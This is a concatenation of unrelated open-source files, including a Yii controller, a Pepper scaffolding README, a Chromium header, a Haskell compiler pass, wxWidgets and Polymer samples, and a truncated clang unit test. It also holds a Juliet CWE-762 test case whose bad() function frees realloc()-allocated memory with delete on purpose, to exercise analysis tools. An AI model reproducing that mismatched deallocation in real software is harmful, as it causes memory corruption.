* @inheritdoc
*/
public function actions()
{
return [
'auth' => [
'class' => 'yii\authclient\AuthAction',
'successCallback' => [$this, 'oAuthSuccess'],
],
];
}
/**
* Log Out page.
*/
public function actionLogout()
{
Yii::$app->user->logout();
return $this->goHome();
}
/**
* Change password page.
*/
public function actionPassword()
{
$model = new PasswordForm();
if ($model->load(Yii::$app->request->post())) {
if ($model->validate()) {
if ($model->password()) {
Yii::$app->session->setFlash(
'success',
Module::t('users', 'FRONTEND_FLASH_SUCCESS_PASSWORD_CHANGE')
);
return $this->goHome();
} else {
Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_PASSWORD_CHANGE'));
return $this->refresh();
}
} elseif (Yii::$app->request->isAjax) {
Yii::$app->response->format = Response::FORMAT_JSON;
return ActiveForm::validate($model);
}
}
return $this->render(
'password',
[
'model' => $model
]
);
}
/**
* Request email change page.
*/
public function actionEmail()
{
$model = new Email();
if ($model->load(Yii::$app->request->post())) {
if ($model->validate()) {
if ($model->save(false)) {
Yii::$app->session->setFlash('success', Module::t('users', 'FRONTEND_FLASH_SUCCES_EMAIL_CHANGE'));
return $this->goHome();
} else {
Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_EMAIL_CHANGE'));
return $this->refresh();
}
} elseif (Yii::$app->request->isAjax) {
Yii::$app->response->format = Response::FORMAT_JSON;
return ActiveForm::validate($model);
}
}
return $this->render(
'email',
[
'model' => $model
]
);
}
/**
* Profile updating page.
*/
public function actionUpdate()
{
$model = Profile::findByUserId(Yii::$app->user->id);
if ($model->load(Yii::$app->request->post())) {
if ($model->validate()) {
if ($model->save(false)) {
Yii::$app->session->setFlash('success', Module::t('users', 'FRONTEND_FLASH_SUCCES_UPDATE'));
} else {
Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_UPDATE'));
}
return $this->refresh();
} elseif (Yii::$app->request->isAjax) {
Yii::$app->response->format = Response::FORMAT_JSON;
return ActiveForm::validate($model);
}
}
return $this->render(
'update',
[
'model' => $model
]
);
}
}
| bsd-3-clause |
pepper-dev/tapper | README.md | 3805 |
# Tapper
pepperタブレット開発の雛形生成ツールです。
----
## ・環境
* Python2.7
----
## ・インストール方法
インストール時にはpipを使うと便利です。
```shell
# pipのインストール
$ easy_install pip
```
環境に合わせて読み替えてください。
```shell
# tapperのインストール
$ pip install tapper
```
----
## ・仕様
インストール後はtapperコマンドがインストールされます。
```shell
$ tapper --help
usage: tapper [-h] {create,update} ...
positional arguments:
{create,update} sub-command help
create create scaffolds.
update update scaffplds.
optional arguments:
-h, --help show this help message and exit
```
### ・ファイル構成
```shell
$ tapper create # create サブコマンドで雛形を生成
Tapper create.
Scene 1
mkdir: ./html
mkdir: ./html/css
mkdir: ./html/js
mkdir: ./html/img
mkdir: ./html/img/preloads
create: ./html/index.html
create: ./html/css/contents.css
create: ./html/css/normalize.css
create: ./html/js/tapper.js
create: ./html/js/contents.js
Succeeded.
$ ls # 実行後はhtmlディレクトリが生成される
html
$ tree html
html # タブレットが参照するhtmlディレクトリ
├── css # スタイルシート用のディレクトリ
│ ├── contents.css # ユーザスタイルシート
│ └── normalize.css # デフォルトのスタイルリセット用のスタイルシート
├── img # 画像用のディレクトリ
│ └── preloads # タブレット表示時にプリロードされる画像用のディレクトリ
├── index.html # 表示されるindex.html
└── js # javascript用のディレクトリ
├── contents.js # アプリケーション用のjsファイル
└── tapper.js # 自動生成のjsファイル
4 directories, 5 files
```
### index.html
* デフォルトではviewportで1.335倍に拡大しています。(1280 * 800)
* 各cssとjavascriptを読み込んでいます。
* デフォルトではsceneが1つ定義されています。
### tapper.js
* tapper.jsは直接編集してしまうとupdate時に上書きされてしまうので
直接書き換えないようにしてください。
### contents.js
* create時に下のようなjavascriptファイルが生成されます。
```javascript
// pepper contents
Tapper.contents = {
onLoad: function() {
console.log("onLoad.");
},
onStart: function() {
console.log("onStart.");
},
onScene1: function() {
console.log("onScene1");
}
}
```
#### ・onLoad
* QiMessagingの接続前かつ画像のプリロードの前に呼び出されます。
* タブレットのWebviewが表示されたタイミングで呼び出されるので、
javascript内で使用するグローバル変数の宣言などで使用します。
#### ・onStart
* 上記onLoadの処理終了後に呼び出されます。
#### ・onScene_[n]_
* Sceneの切り替え時に呼び出されます。
----
## サブコマンド
#### ・create
カレントディレクトリにpepperアプリで使用できるhtml雛形を生成します。
```shell
# 雛形を生成
$ tapper create
```
--sceneオプションを付与することで生成される雛形のsection数を指定できます。
```shell
# sceneを3つもつ雛形を生成
$ tapper create --scene 3
```
#### ・update
* カレントディレクトリにあるtapperプロジェクトのtapper.jsを更新します。
* img/preloadsに画像を追加した場合は必ず実行してください。
```shell
$ tapper update
```
| bsd-3-clause |
groupon/shared-store | test/check-error.js | 468 | 'use strict';
const assert = require('assert');
const { Observable } = require('rx-lite');
/**
*
* @param {Rx.Observable} observable
* @param {function} fn
* @returns {Rx.IPromise<void>}
*/
function checkError(observable, fn) {
const OK = {};
return observable
.catch(err => {
fn(err);
return Observable.just(OK);
})
.toPromise()
.then(value => {
assert.deepStrictEqual(value, OK);
});
}
module.exports = checkError;
| bsd-3-clause |
ChromiumWebApps/chromium | chrome/browser/drive/drive_notification_manager.h | 3531 | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_DRIVE_DRIVE_NOTIFICATION_MANAGER_H_
#define CHROME_BROWSER_DRIVE_DRIVE_NOTIFICATION_MANAGER_H_
#include "base/memory/weak_ptr.h"
#include "base/observer_list.h"
#include "base/timer/timer.h"
#include "chrome/browser/drive/drive_notification_observer.h"
#include "components/browser_context_keyed_service/browser_context_keyed_service.h"
#include "sync/notifier/invalidation_handler.h"
class ProfileSyncService;
namespace invalidation {
class InvalidationService;
}
namespace drive {
// Informs observers when they should check Google Drive for updates.
// Conditions under which updates should be searched:
// 1. XMPP invalidation is received from Google Drive.
// 2. Polling timer counts down.
class DriveNotificationManager
: public BrowserContextKeyedService,
public syncer::InvalidationHandler {
public:
explicit DriveNotificationManager(
invalidation::InvalidationService* invalidation_service);
virtual ~DriveNotificationManager();
// BrowserContextKeyedService override.
virtual void Shutdown() OVERRIDE;
// syncer::InvalidationHandler implementation.
virtual void OnInvalidatorStateChange(
syncer::InvalidatorState state) OVERRIDE;
virtual void OnIncomingInvalidation(
const syncer::ObjectIdInvalidationMap& invalidation_map) OVERRIDE;
virtual std::string GetOwnerName() const OVERRIDE;
void AddObserver(DriveNotificationObserver* observer);
void RemoveObserver(DriveNotificationObserver* observer);
// True when XMPP notification is currently enabled.
bool push_notification_enabled() const {
return push_notification_enabled_;
}
// True when XMPP notification has been registered.
bool push_notification_registered() const {
return push_notification_registered_;
}
private:
enum NotificationSource {
NOTIFICATION_XMPP,
NOTIFICATION_POLLING,
};
// Restarts the polling timer. Used for polling-based notification.
void RestartPollingTimer();
// Notifies the observers that it's time to check for updates.
// |source| indicates where the notification comes from.
void NotifyObserversToUpdate(NotificationSource source);
// Registers for Google Drive invalidation notifications through XMPP.
void RegisterDriveNotifications();
// Returns a string representation of NotificationSource.
static std::string NotificationSourceToString(NotificationSource source);
invalidation::InvalidationService* invalidation_service_;
ObserverList<DriveNotificationObserver> observers_;
// True when Drive File Sync Service is registered for Drive notifications.
bool push_notification_registered_;
// True if the XMPP-based push notification is currently enabled.
bool push_notification_enabled_;
// True once observers are notified for the first time.
bool observers_notified_;
// The timer is used for polling based notification. XMPP should usually be
// used but notification is done per polling when XMPP is not working.
base::Timer polling_timer_;
// Note: This should remain the last member so it'll be destroyed and
// invalidate its weak pointers before any other members are destroyed.
base::WeakPtrFactory<DriveNotificationManager> weak_ptr_factory_;
DISALLOW_COPY_AND_ASSIGN(DriveNotificationManager);
};
} // namespace drive
#endif // CHROME_BROWSER_DRIVE_DRIVE_NOTIFICATION_MANAGER_H_
| bsd-3-clause |
Berkaroad/blog | Dockerfile | 201 | # 配置博客站点
FROM ubuntu
MAINTAINER Berkaroad "[email protected]"
RUN apt-get update
RUN apt-get install -y openssh-server
RUN apt-get install -y golang
RUN apt-get install -y mongodb | bsd-3-clause |
jystic/river | src/River/X64/Transform/Reprim.hs | 4760 | {-# LANGUAGE DeriveFunctor #-}
{-# LANGUAGE LambdaCase #-}
--
-- | Convert from core primitives to x86-64 primitives.
--
module River.X64.Transform.Reprim (
reprimProgram
, reprimTerm
, ReprimError(..)
) where
import Control.Monad.Trans.Except (ExceptT, throwE)
import River.Bifunctor
import qualified River.Core.Primitive as Core
import River.Core.Syntax
import River.Fresh
import River.X64.Primitive (Cc(..))
import qualified River.X64.Primitive as X64
data ReprimError n a =
ReprimInvalidPrim ![n] Core.Prim ![Atom n a]
deriving (Eq, Ord, Show, Functor)
reprimProgram ::
FreshName n =>
MonadFresh m =>
Program k Core.Prim n a ->
ExceptT (ReprimError n a) m (Program k X64.Prim n a)
reprimProgram = \case
Program a tm ->
Program a <$> reprimTerm tm
reprimTerm ::
FreshName n =>
MonadFresh m =>
Term k Core.Prim n a ->
ExceptT (ReprimError n a) m (Term k X64.Prim n a)
reprimTerm = \case
Return ar (Call ac n xs) ->
pure $
Return ar (Call ac n xs)
Return a tl -> do
-- TODO should be based on arity of tail, not just [n]
-- TODO need to do arity inference before this is possible.
n <- newFresh
let_tail <- reprimTail a [n] tl
pure . let_tail $
Return a (Copy a [Variable a n])
If a k i t e -> do
If a k i
<$> reprimTerm t
<*> reprimTerm e
Let a ns tl tm -> do
let_tail <- reprimTail a ns tl
let_tail <$> reprimTerm tm
LetRec a bs tm ->
LetRec a
<$> reprimBindings bs
<*> reprimTerm tm
reprimBindings ::
FreshName n =>
MonadFresh m =>
Bindings k Core.Prim n a ->
ExceptT (ReprimError n a) m (Bindings k X64.Prim n a)
reprimBindings = \case
Bindings a bs ->
Bindings a <$> traverse (secondA reprimBinding) bs
reprimBinding ::
FreshName n =>
MonadFresh m =>
Binding k Core.Prim n a ->
ExceptT (ReprimError n a) m (Binding k X64.Prim n a)
reprimBinding = \case
Lambda a ns tm ->
Lambda a ns <$> reprimTerm tm
reprimTail ::
FreshName n =>
MonadFresh m =>
a ->
[n] ->
Tail Core.Prim n a ->
ExceptT (ReprimError n a) m (Term k X64.Prim n a -> Term k X64.Prim n a)
reprimTail an ns = \case
Copy ac xs ->
pure $
Let an ns (Copy ac xs)
Call ac n xs ->
pure $
Let an ns (Call ac n xs)
Prim ap p0 xs -> do
case reprimTrivial p0 of
Just p ->
pure $
Let an ns (Prim ap p xs)
Nothing ->
reprimComplex an ns ap p0 xs
reprimTrivial :: Core.Prim -> Maybe X64.Prim
reprimTrivial = \case
-- Trivial cases
Core.Neg ->
Just X64.Neg
Core.Not ->
Just X64.Not
Core.Add ->
Just X64.Add
Core.Sub ->
Just X64.Sub
Core.And ->
Just X64.And
Core.Xor ->
Just X64.Xor
Core.Or ->
Just X64.Or
Core.Shl ->
Just X64.Sal
Core.Shr ->
Just X64.Sar
-- Complex cases, must be handled by reprimComplex.
Core.Mul ->
Nothing
Core.Div ->
Nothing
Core.Mod ->
Nothing
Core.Eq ->
Nothing
Core.Ne ->
Nothing
Core.Lt ->
Nothing
Core.Le ->
Nothing
Core.Gt ->
Nothing
Core.Ge ->
Nothing
reprimComplex ::
FreshName n =>
MonadFresh m =>
a ->
[n] ->
a ->
Core.Prim ->
[Atom n a] ->
ExceptT (ReprimError n a) m (Term k X64.Prim n a -> Term k X64.Prim n a)
reprimComplex an ns ap p xs =
case (ns, p, xs) of
-- Arithmetic --
([dst], Core.Mul, [x, y]) -> do
ignore <- newFresh
pure .
Let an [dst, ignore] $
Prim ap X64.Imul [x, y]
([dst], Core.Div, [x, y]) -> do
ignore <- newFresh
high_x <- newFresh
pure $
Let ap [high_x]
(Prim ap X64.Cqto [x]) .
Let an [dst, ignore]
(Prim ap X64.Idiv [x, Variable ap high_x, y])
([dst], Core.Mod, [x, y]) -> do
ignore <- newFresh
high_x <- newFresh
pure $
Let ap [high_x]
(Prim ap X64.Cqto [x]) .
Let an [ignore, dst]
(Prim ap X64.Idiv [x, Variable ap high_x, y])
-- Relations --
([dst], prim, [x, y])
| Just cc <- takeCC prim
-> do
flags <- freshen dst
dst8 <- freshen dst
pure $
Let an [flags]
(Prim ap X64.Cmp [x, y]) .
Let an [dst8]
(Prim ap (X64.Set cc) [Variable ap flags]) .
Let an [dst]
(Prim ap X64.Movzbq [Variable ap dst8])
_ ->
throwE $ ReprimInvalidPrim ns p xs
takeCC :: Core.Prim -> Maybe Cc
takeCC = \case
Core.Eq ->
Just E
Core.Ne ->
Just Ne
Core.Lt ->
Just L
Core.Le ->
Just Le
Core.Gt ->
Just G
Core.Ge ->
Just Ge
_ ->
Nothing
| bsd-3-clause |
JianpingZeng/xcc | xcc/test/juliet/testcases/CWE762_Mismatched_Memory_Management_Routines/s04/CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp | 4494 | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp
Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete.label.xml
Template File: sources-sinks-12.tmpl.cpp
*/
/*
* @description
* CWE: 762 Mismatched Memory Management Routines
* BadSource: realloc Allocate data using realloc()
* GoodSource: Allocate data using new
* Sinks:
* GoodSink: Deallocate data using free()
* BadSink : Deallocate data using delete
* Flow Variant: 12 Control flow: if(globalReturnsTrueOrFalse())
* */
#include "std_testcase.h"
namespace CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12
{
#ifndef OMITBAD
void bad()
{
long * data;
/* Initialize data*/
data = NULL;
if(globalReturnsTrueOrFalse())
{
data = NULL;
/* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */
data = (long *)realloc(data, 100*sizeof(long));
if (data == NULL) {exit(-1);}
}
else
{
/* FIX: Allocate memory from the heap using new */
data = new long;
}
if(globalReturnsTrueOrFalse())
{
/* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete data;
}
else
{
/* FIX: Deallocate the memory using free() */
free(data);
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodB2G() - use badsource and goodsink by changing the first "if" so that
both branches use the BadSource and the second "if" so that both branches
use the GoodSink */
static void goodB2G()
{
long * data;
/* Initialize data*/
data = NULL;
if(globalReturnsTrueOrFalse())
{
data = NULL;
/* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */
data = (long *)realloc(data, 100*sizeof(long));
if (data == NULL) {exit(-1);}
}
else
{
data = NULL;
/* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */
data = (long *)realloc(data, 100*sizeof(long));
if (data == NULL) {exit(-1);}
}
if(globalReturnsTrueOrFalse())
{
/* FIX: Deallocate the memory using free() */
free(data);
}
else
{
/* FIX: Deallocate the memory using free() */
free(data);
}
}
/* goodG2B() - use goodsource and badsink by changing the first "if" so that
both branches use the GoodSource and the second "if" so that both branches
use the BadSink */
static void goodG2B()
{
long * data;
/* Initialize data*/
data = NULL;
if(globalReturnsTrueOrFalse())
{
/* FIX: Allocate memory from the heap using new */
data = new long;
}
else
{
/* FIX: Allocate memory from the heap using new */
data = new long;
}
if(globalReturnsTrueOrFalse())
{
/* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete data;
}
else
{
/* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete data;
}
}
void good()
{
goodB2G();
goodG2B();
}
#endif /* OMITGOOD */
} /* close namespace */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
using namespace CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12; /* so that we can use good and bad easily */
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
| bsd-3-clause |
ric2b/Vivaldi-browser | update_notifier/thirdparty/wxWidgets/samples/widgets/fontpicker.cpp | 6890 | /////////////////////////////////////////////////////////////////////////////
// Program: wxWidgets Widgets Sample
// Name: fontpicker.cpp
// Purpose: Shows wxFontPickerCtrl
// Author: Francesco Montorsi
// Created: 20/6/2006
// Copyright: (c) 2006 Francesco Montorsi
// Licence: wxWindows licence
/////////////////////////////////////////////////////////////////////////////
// ============================================================================
// declarations
// ============================================================================
// ----------------------------------------------------------------------------
// headers
// ----------------------------------------------------------------------------
// for compilers that support precompilation, includes "wx/wx.h".
#include "wx/wxprec.h"
#if wxUSE_FONTPICKERCTRL
// for all others, include the necessary headers
#ifndef WX_PRECOMP
#include "wx/app.h"
#include "wx/log.h"
#include "wx/radiobox.h"
#endif
#include "wx/artprov.h"
#include "wx/sizer.h"
#include "wx/stattext.h"
#include "wx/checkbox.h"
#include "wx/imaglist.h"
#include "wx/fontpicker.h"
#include "widgets.h"
#include "icons/fontpicker.xpm"
// ----------------------------------------------------------------------------
// constants
// ----------------------------------------------------------------------------
// control ids
enum
{
PickerPage_Reset = wxID_HIGHEST,
PickerPage_Font
};
// ----------------------------------------------------------------------------
// FontPickerWidgetsPage
// ----------------------------------------------------------------------------
class FontPickerWidgetsPage : public WidgetsPage
{
public:
FontPickerWidgetsPage(WidgetsBookCtrl *book, wxImageList *imaglist);
virtual wxWindow *GetWidget() const wxOVERRIDE { return m_fontPicker; }
virtual void RecreateWidget() wxOVERRIDE { RecreatePicker(); }
// lazy creation of the content
virtual void CreateContent() wxOVERRIDE;
protected:
// called only once at first construction
void CreatePicker();
// called to recreate an existing control
void RecreatePicker();
// restore the checkboxes state to the initial values
void Reset();
void OnFontChange(wxFontPickerEvent &ev);
void OnCheckBox(wxCommandEvent &ev);
void OnButtonReset(wxCommandEvent &ev);
// the picker
wxFontPickerCtrl *m_fontPicker;
// other controls
// --------------
wxCheckBox *m_chkFontTextCtrl,
*m_chkFontDescAsLabel,
*m_chkFontUseFontForLabel;
wxBoxSizer *m_sizer;
private:
wxDECLARE_EVENT_TABLE();
DECLARE_WIDGETS_PAGE(FontPickerWidgetsPage)
};
// ----------------------------------------------------------------------------
// event tables
// ----------------------------------------------------------------------------
wxBEGIN_EVENT_TABLE(FontPickerWidgetsPage, WidgetsPage)
EVT_BUTTON(PickerPage_Reset, FontPickerWidgetsPage::OnButtonReset)
EVT_FONTPICKER_CHANGED(PickerPage_Font, FontPickerWidgetsPage::OnFontChange)
EVT_CHECKBOX(wxID_ANY, FontPickerWidgetsPage::OnCheckBox)
wxEND_EVENT_TABLE()
// ============================================================================
// implementation
// ============================================================================
#if defined(__WXGTK20__)
#define FAMILY_CTRLS NATIVE_CTRLS
#else
#define FAMILY_CTRLS GENERIC_CTRLS
#endif
IMPLEMENT_WIDGETS_PAGE(FontPickerWidgetsPage, "FontPicker",
PICKER_CTRLS | FAMILY_CTRLS);
FontPickerWidgetsPage::FontPickerWidgetsPage(WidgetsBookCtrl *book,
wxImageList *imaglist)
: WidgetsPage(book, imaglist, fontpicker_xpm)
{
}
void FontPickerWidgetsPage::CreateContent()
{
// left pane
wxSizer *boxleft = new wxBoxSizer(wxVERTICAL);
wxStaticBoxSizer *fontbox = new wxStaticBoxSizer(wxVERTICAL, this, "&FontPicker style");
m_chkFontTextCtrl = CreateCheckBoxAndAddToSizer(fontbox, "With textctrl");
m_chkFontDescAsLabel = CreateCheckBoxAndAddToSizer(fontbox, "Font desc as btn label");
m_chkFontUseFontForLabel = CreateCheckBoxAndAddToSizer(fontbox, "Use font for label");
boxleft->Add(fontbox, 0, wxALL|wxGROW, 5);
boxleft->Add(new wxButton(this, PickerPage_Reset, "&Reset"),
0, wxALIGN_CENTRE_HORIZONTAL | wxALL, 15);
Reset(); // set checkboxes state
// create pickers
m_fontPicker = NULL;
CreatePicker();
// right pane
m_sizer = new wxBoxSizer(wxVERTICAL);
m_sizer->Add(1, 1, 1, wxGROW | wxALL, 5); // spacer
m_sizer->Add(m_fontPicker, 0, wxALIGN_CENTER|wxALL, 5);
m_sizer->Add(1, 1, 1, wxGROW | wxALL, 5); // spacer
// global pane
wxSizer *sz = new wxBoxSizer(wxHORIZONTAL);
sz->Add(boxleft, 0, wxGROW|wxALL, 5);
sz->Add(m_sizer, 1, wxGROW|wxALL, 5);
SetSizer(sz);
}
void FontPickerWidgetsPage::CreatePicker()
{
delete m_fontPicker;
long style = GetAttrs().m_defaultFlags;
if ( m_chkFontTextCtrl->GetValue() )
style |= wxFNTP_USE_TEXTCTRL;
if ( m_chkFontUseFontForLabel->GetValue() )
style |= wxFNTP_USEFONT_FOR_LABEL;
if ( m_chkFontDescAsLabel->GetValue() )
style |= wxFNTP_FONTDESC_AS_LABEL;
m_fontPicker = new wxFontPickerCtrl(this, PickerPage_Font,
*wxSWISS_FONT,
wxDefaultPosition, wxDefaultSize,
style);
}
void FontPickerWidgetsPage::RecreatePicker()
{
m_sizer->Remove(1);
CreatePicker();
m_sizer->Insert(1, m_fontPicker, 0, wxALIGN_CENTER|wxALL, 5);
m_sizer->Layout();
}
void FontPickerWidgetsPage::Reset()
{
m_chkFontTextCtrl->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_USE_TEXTCTRL) != 0);
m_chkFontUseFontForLabel->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_USEFONT_FOR_LABEL) != 0);
m_chkFontDescAsLabel->SetValue((wxFNTP_DEFAULT_STYLE & wxFNTP_FONTDESC_AS_LABEL) != 0);
}
// ----------------------------------------------------------------------------
// event handlers
// ----------------------------------------------------------------------------
void FontPickerWidgetsPage::OnButtonReset(wxCommandEvent& WXUNUSED(event))
{
Reset();
RecreatePicker();
}
void FontPickerWidgetsPage::OnFontChange(wxFontPickerEvent& event)
{
wxLogMessage("The font changed to '%s' with size %d !",
event.GetFont().GetFaceName(), event.GetFont().GetPointSize());
}
void FontPickerWidgetsPage::OnCheckBox(wxCommandEvent &event)
{
if (event.GetEventObject() == m_chkFontTextCtrl ||
event.GetEventObject() == m_chkFontDescAsLabel ||
event.GetEventObject() == m_chkFontUseFontForLabel)
RecreatePicker();
}
#endif // wxUSE_FONTPICKERCTRL
| bsd-3-clause |
ekoontz/graphlab | src/graphlab/extern/metis/libmetis/bucketsort.c | 991 | /*
* Copyright 1997, Regents of the University of Minnesota
*
* bucketsort.c
*
* This file contains code that implement a variety of counting sorting
* algorithms
*
* Started 7/25/97
* George
*
*/
#include <metislib.h>
/*************************************************************************
* This function uses simple counting sort to return a permutation array
* corresponding to the sorted order. The keys are agk_fsumed to start from
* 0 and they are positive. This sorting is used during matching.
**************************************************************************/
void BucketSortKeysInc(idxtype n, idxtype max, idxtype *keys, idxtype *tperm, idxtype *perm)
{
idxtype i, ii;
idxtype *counts;
counts = idxsmalloc(max+2, 0, "BucketSortKeysInc: counts");
for (i=0; i<n; i++)
counts[keys[i]]++;
MAKECSR(i, max+1, counts);
for (ii=0; ii<n; ii++) {
i = tperm[ii];
perm[counts[keys[i]]++] = i;
}
gk_free((void **)&counts, LTERM);
}
| bsd-3-clause |
leungpeng/converter | app/elements/elements.html | 2246 | <!--
@license
Copyright (c) 2015 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
<!-- Iron elements -->
<link rel="import" href="../bower_components/iron-flex-layout/iron-flex-layout.html">
<link rel="import" href="../bower_components/iron-icons/iron-icons.html">
<link rel="import" href="../bower_components/iron-pages/iron-pages.html">
<link rel="import" href="../bower_components/iron-selector/iron-selector.html">
<!-- Paper elements -->
<link rel="import" href="../bower_components/paper-drawer-panel/paper-drawer-panel.html">
<link rel="import" href="../bower_components/paper-icon-button/paper-icon-button.html">
<link rel="import" href="../bower_components/paper-item/paper-item.html">
<link rel="import" href="../bower_components/paper-material/paper-material.html">
<link rel="import" href="../bower_components/paper-menu/paper-menu.html">
<link rel="import" href="../bower_components/paper-scroll-header-panel/paper-scroll-header-panel.html">
<link rel="import" href="../bower_components/paper-styles/typography.html">
<link rel="import" href="../bower_components/paper-toast/paper-toast.html">
<link rel="import" href="../bower_components/paper-toolbar/paper-toolbar.html">
<!-- Uncomment next block to enable Service Worker Support (2/2) -->
<!--
<link rel="import" href="../bower_components/platinum-sw/platinum-sw-cache.html">
<link rel="import" href="../bower_components/platinum-sw/platinum-sw-register.html">
-->
<!-- Configure your routes here -->
<link rel="import" href="routing.html">
<!-- Add your elements here -->
<link rel="import" href="../styles/app-theme.html">
<link rel="import" href="../styles/shared-styles.html">
<link rel="import" href="my-greeting/my-greeting.html">
<link rel="import" href="my-list/my-list.html">
<link rel="import" href="my-converter/my-converter.html">
| bsd-3-clause |
indianpoptart/Website-of-NikhilP | components/polymer-ui-submenu-item/polymer-ui-submenu-item.html | 3137 | <!--
Copyright 2013 The Toolkitchen Authors. All rights reserved.
Use of this source code is governed by a BSD-style
license that can be found in the LICENSE file.
-->
<!--
/**
* @module Polymer UI Elements
*/
/**
* polymer-ui-submenu-item is a menu-item that can contains other menu-items.
* It should be used in conjunction with polymer-ui-menu or
* polymer-ui-sibebar-menu.
*
* Example:
*
* <polymer-ui-menu selected="0">
* <polymer-ui-submenu-item icon="settings" label="Topics">
* <polymer-ui-menu-item label="Topics 1"></polymer-ui-menu-item>
* <polymer-ui-menu-item label="Topics 2"></polymer-ui-menu-item>
* </polymer-ui-submenu-item>
* <polymer-ui-submenu-item icon="settings" label="Favorites">
* <polymer-ui-menu-item label="Favorites 1"></polymer-ui-menu-item>
* <polymer-ui-menu-item label="Favorites 2"></polymer-ui-menu-item>
* <polymer-ui-menu-item label="Favorites 3"></polymer-ui-menu-item>
* </polymer-ui-submenu-item>
* </polymer-ui-menu>
*
* @class polymer-ui-submenu-item
* @extends polymer-ui-menu-item
*/
-->
<link rel="import" href="../polymer/polymer.html">
<link rel="import" href="../polymer-ui-theme-aware/polymer-ui-theme-aware.html">
<link rel="import" href="../polymer-ui-menu-item/polymer-ui-menu-item.html">
<link rel="import" href="../polymer-ui-menu/polymer-ui-menu.html">
<link rel="import" href="../polymer-collapse/polymer-collapse.html">
<polymer-element name="polymer-ui-submenu-item" extends="polymer-ui-menu-item" attributes="active selected selectedItem">
<template>
<link rel="stylesheet" href="polymer-ui-submenu-item.css">
<polymer-ui-menu-item id="item" src="%7b%7bsrc%7d%7d.html" label="{{label}}" icon="{{icon}}" active?="{{active}}" on-tap="{{activate}}">
<content select=".item-content"></content>
</polymer-ui-menu-item>
<polymer-ui-menu id="menu" selected="{{selected}}" selectedItem="{{selectedItem}}">
<content></content>
</polymer-ui-menu>
<polymer-collapse targetId="menu" closed="{{collapsed}}"></polymer-collapse>
</template>
<script>
Polymer('polymer-ui-submenu-item', {
active: false,
collapsed: true,
get items() {
return this.$.menu.items;
},
hasItems: function() {
return !!this.items.length;
},
unselectAllItems: function() {
this.$.menu.selected = null;
this.$.menu.clearSelection();
},
activeChanged: function() {
if (this.hasItems()) {
this.collapsed = !this.active;
}
if (!this.active) {
this.unselectAllItems();
}
this.$.item.classList.toggle('no-active-bg', this.hasItems());
},
activate: function() {
if (this.hasItems() && this.active) {
this.collapsed = !this.collapsed;
this.unselectAllItems();
this.fire("polymer-select", {isSelected: true, item: this});
}
},
getItemHeight: function() {
return this.$ && this.$.item && this.$.item.offsetHeight;
}
});
</script>
</polymer-element>
| bsd-3-clause |
Free4Lila/s-objectizer | so_5/5.2.4-microbenchmarking/dev/microbenchmarks/so_5/demand_queue_2_bench_1/prj.rb | 147 | require 'mxx_ru/cpp'
MxxRu::Cpp::exe_target {
required_prj "ace/dll.rb"
target "_microbench.demand_queue_2_bench_1"
cpp_source "main.cpp"
}
| bsd-3-clause |
Chilledheart/windycode | src/ClangSupport/ClangInvoker_unittest.cc | 8378 | #include "ClangInvoker.h"
#include "ThreadExecutor.h"
#include "windycode/Support.h"
#include <unistd.h>
#include "gtest/gtest.h"
namespace windycode {
namespace clang {
namespace {
class CharDeleter {
public:
void operator()(char *p) { free(p); }
};
static std::string getUnittestPath() {
static std::string Path;
static bool Initialized = false;
if (!Initialized) {
Initialized = true;
std::unique_ptr<char, CharDeleter> CurrentPath(getcwd(nullptr, 0));
Path = parentPath(CurrentPath.get());
appendPath(Path, "unittests");
if (!isDirectory(Path))
return std::string();
}
return Path;
}
static std::string getUnittestFilePath(string_ref FileName) {
std::string Path = getUnittestPath();
if (Path.empty())
return Path;
appendPath(Path, FileName);
return Path;
}
TEST(ClangInvokerTest, Singleton) {
ClangInvoker *Instance = ClangInvoker::getInstance();
ASSERT_NE(Instance, nullptr);
ASSERT_EQ(Instance, ClangInvoker::getInstance());
}
TEST(ClangInvokerTest, GetUnitestDirectory) {
ASSERT_FALSE(getUnittestPath().empty());
}
TEST(ClangInvokerTest, ClangInfo) {
ClangInfo Info;
ClangInvoker *Instance = ClangInvoker::getInstance();
Instance->getClangInfo(&Info);
}
TEST(ClangInvokerTest, OpenAndCloseFile) {
ClangInvoker *Instance = ClangInvoker::getInstance();
std::string FileName = getUnittestFilePath("test01.c");
ASSERT_FALSE(Instance->openFile("test01.c").ok());
ASSERT_TRUE(Instance->openFile(FileName).ok());
